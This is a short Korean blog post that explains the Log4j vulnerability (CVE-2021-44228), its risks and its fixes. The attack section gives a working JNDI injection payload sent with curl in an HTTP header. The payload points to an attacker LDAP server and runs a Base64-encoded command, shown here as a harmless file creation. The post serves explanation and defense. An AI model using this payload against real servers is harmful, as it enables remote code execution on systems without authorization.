본문 바로가기
Security/System

[System] Apache Log4j 취약점이란?

by 강한수달 2021. 12. 13.

Apache Log4j

- 프로그램을 작성하는 도중에 로그를 남기기 위해 사용되는 자바 기반 로깅 유틸리티

- 아파치 소프트웨어 재단에서 개발함

 

 

문제 & 위험성

- 개인, 기업, 공공기관 등 Apache Log4j 라이브러리를 사용하는 모든 시스템이 해당 공격에 노출됨

- 대상 시스템에 *RCE 공격이 가능하며, 바이러스 유포나 개인정보 탈취 등의 문제 발생 가능성이 있음

 

*RCE(Remote Code Execution) : 공격 대상 서버에 원격 명령을 실행할 수 있는 것을 말함

 

 

공격 방법

1. JNDIExploit  사용 하여 악성 LDAP 서버 가동

 

2. 명령어 입력

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

${jndi:ldap:..(중략).../Base64/ 뒤의 값은 명령어를 Base64 로 Encoding 한 값임

"dG91Y2ggL3RtcC9wd25lZAo" = touch /tmp/pwned ( /tmp 경로에 이름이 pwned 인 빈 파일을 생성하는 명령어 )

 

3. 공격 코드가 실행되었는지 확인하기 위해 ls /tmp 명령어 실행 후 pwned 파일 존재 여부 확인

 

 

해결방안

- 2.0-beta9 ~ 2.10.0

 ˙ JndLookup 클래스를 경로에서 제거 : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

- 2.10 ~ 2.14.1

 ˙ log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정

- 제조사 홈페이지를 통해 최신버전(2.15.0) 업데이트 적용

 

출처

https://www.lunasec.io/docs/blog/log4j-zero-day/

https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

https://logging.apache.org/log4j/2.x/download.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

https://logging.apache.org/log4j/2.x/security.html

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389

https://m.mk.co.kr/news/world/view/2021/12/1130007/

댓글